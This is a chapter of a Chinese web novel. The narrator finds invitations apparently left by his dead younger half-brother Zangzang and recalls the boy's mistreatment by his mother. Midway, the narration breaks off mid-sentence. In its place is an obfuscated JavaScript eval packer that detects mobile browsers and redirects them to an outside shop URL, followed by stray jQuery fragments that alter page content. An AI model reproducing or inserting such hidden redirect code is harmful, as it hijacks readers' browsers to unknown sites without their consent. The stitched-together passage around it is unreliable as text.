这不是巧合。
我脑海中第一时间浮现的念头。
我坐回矮桌前，背靠暖炉，勉强驱散周身寒意。
两封请柬并排摆在中央，左边因为经过快递颠簸，处处比饼干盒里旧些。
臧臧心大脑仁小，没城府。
过家家？
我胡乱猜测，先入为主犯了致命错误，比如：这封请柬并非无字天书。
等我想起来翻开，用来盖泡面的手机滚热，夹杂几封扣费短信，列表无一人发消息。自从臧臧去世，我离职，几乎与外界断开联系，所以请柬内页画的一朵小花，我这种毫无艺术细胞的家伙看了许久许久，才勉强分辨出这是……
百合花。
泡面刚刚能挑开，半软不硬气鼓鼓在桶口，像是抗议我的漫不经心。
臧臧啊，谁家画百合花像牛角包？
“哥哥是笨蛋。”
年幼的臧臧不会骂人，听见我对他画作的评价，捏住蜡笔起身，像刚会走的小牛犊歪歪扭扭冲来，对着我的草稿本就是恶狠狠一划。
“我揍你。”
“你揍！”
年幼的臧臧挺胸抬头，笃定我不会抬手，小嘴巴小鼻子都要皱成团，眼睛亮得惊人：“别人家妹妹被哥哥宠，为什么你要说我画的花是牛角包。”
那天是父亲借用邻居结婚场地拍完双人照的礼拜六，我们关系也因这张相片变得松弛，臧臧不会躲着我的目光讲话。当他站在我面前，眼睛晶晶亮地要同我吵架，结果人刚比大木桌高半截。
“你也说了是妹妹，你是妹妹？”
臧臧还要说什么，他母亲下班回家后没在卧室看到自己儿子，几乎是砸开我房间的门，巨响吓得臧臧手哆嗦，蜡笔咕噜咕噜滚到我脚底。
“妈妈……”
臧臧都不敢回头看我。
“出来！”她嗓音嘶哑，看样子是对臧臧说，眼却死死盯着我：“小没种的东西，臧泫考不上初中，你能担得起这个责任吗？”
我蹙眉，刚想拉臧臧的手，他慢慢向门口挪，等走到他母亲手臂范围，被后者拽得踉跄，房门随即咚一声摔上。
也就是从那天起，臧臧身上出现各种各样的红痕，他开始躲着我走，甚至在餐桌也拒绝同我讲话，加菜也只敢夹面前已经热过一次的辣炒土豆丝。
臧臧不过念低年级，他吃不得辣。
他母亲故意的。
几天下来，臧臧本就大的眼睛更明显，空荡荡挂在小脸上，好不容易喂出来的一点肉，又全都掉干净。
父亲觉察异样，追问原因，顺势夹根鸡腿放在臧臧碗里，下秒被他母亲飞速扔回盘子：“秋季燥热，小孩子吃不了肉，让臧泫吃，他还要考学，补身子。”
“不吃肉怎么长高？”
父亲抹去飞溅到桌面的汤汁，我随他目光看向臧臧，后者低头，发根处隐隐约约泛黄。
“他没臧泫成绩好，吃了也没用。”
“……”
父亲眼里满是无奈，我默默往碗里夹拆好的鸡腿肉、清炒菜心、酸辣豆芽和酱牛肉，等一切都堆成小山，起身把臧臧的碗换了过来。
他母亲眼角抽搐。
臧臧茫茫抬头，因为食物太多，我忘记提前拿出来勺子，稍微一动碗边食物就有下落趋势，我又递给他筷子。
他头埋得更低，几乎看不到鼻子。
“哑巴了？不知道谢谢哥哥。”
即便相隔整张桌子，女人踢踹臧臧凳子的声响震天，臧臧本就瘦小，这下整个人差点歪出去。
“你怎么对孩子的？”
父亲放下筷子，眉目不怒自威。
女人先是恶狠狠瞪向竭力缩起的小男孩，而后对男人笑脸相迎：“男孩子不打不成器，他要是有臧泫一半出息我也心满意足了。”
“二年级的孩子能看出来往后？”
“不是三岁看小、六岁看老。”
父亲头转向我：“臧泫，以后你抽部分时间辅导弟弟的功课。”
“这怎么好意思，不争气的玩意谁教也教不会，别浪费臧泫时间了哈。”
我放下筷子，无视对面表情扭曲的女人，握住臧臧的手，牵着他回我的卧室，顺便把塞满食物的碗也端了过去。
臧臧始终低着头。
就算我挖起米饭递到他嘴边，人嘴巴仍旧抿得紧紧。
“牛角包生气了？”
“……”
他不张嘴，我不收手，勺子悬在半空中，逗小动物往前伸：“真不吃？”
“……”
我叹口气：“又考砸了？”
臧臧略略抬头，目光迟疑。
得了。
多半
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176247|150589||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是两科没及格。
“哥哥……”
看来是三科。
“我不是故意的。”
哦，四科。
他张口，咬住勺子，一口吞下饭。
虽然我比他高几个年级，但毕竟都是小学生，再怎么装成熟、稳重，在旁人看来不过是扮家家酒，更别说辅导低年级的作业：这些题真的有做的必要？
“你妈妈很生气。”
臧臧偷看我，我装没发现，自顾自挖起一块肉示意他张口：“不过小学三年级开始就不及格，你以后怎么办？”
臧臧腮帮鼓起，他嚼嚼嚼。
“三年级一共几科来着？你是哪些科目不及格？”我追问他，不说就不给他下勺饭：“臧臧？”
“美术、体育、思想道德。”
“美术考试画的什么？”
“百合花，老师说像糊的牛角包。”
“体育考的哪一项运动？”
“接力跑，跑反了。”
“思想道德？”
“哥哥的妻子叫什么。”
“你写的……”
“臧臧！”臧臧笑，露出掉了半颗牙的豁嘴，看到我皱眉头，急急捂住嘴巴不敢吭声。
“怎么回事。”
臧臧不吭声，视线飘呀飘，回到吃好几口仍尖满满的饭，看我不喂他，老老实实放下手回应。
“磕的。”
他讲话漏出呲呲风声：“有人想抢我的百合花，我不给，就跟他打起来，门牙磕到教室门槛。”臧臧用舌尖轻舔，剩余半颗活动：“本就要掉，不疼。”臧臧脑袋圆圆，缺颗牙，看起来更傻乎。
臧臧往前坐，一眨不眨地看着我。
“哥哥，你不要生我妈妈的气。”
“她只是心情不好。”
“她还是爱我的。”
像说服自己，他又重复最后的话。
而那幅丑兮兮的画，我以为臧臧丢掉了，结果被主人用心压平，几乎看不出原先褶皱，完美、契合地粘在了请柬内页，以及板板正正的六行字。
——哥哥，还有三封请柬，你全部找齐才能参加我的生日会哦。
——第一封请柬我手抖好像写错日期了……不过没字，应该没关系吧？
——我想吃牛角包。
——又：我还是很想你。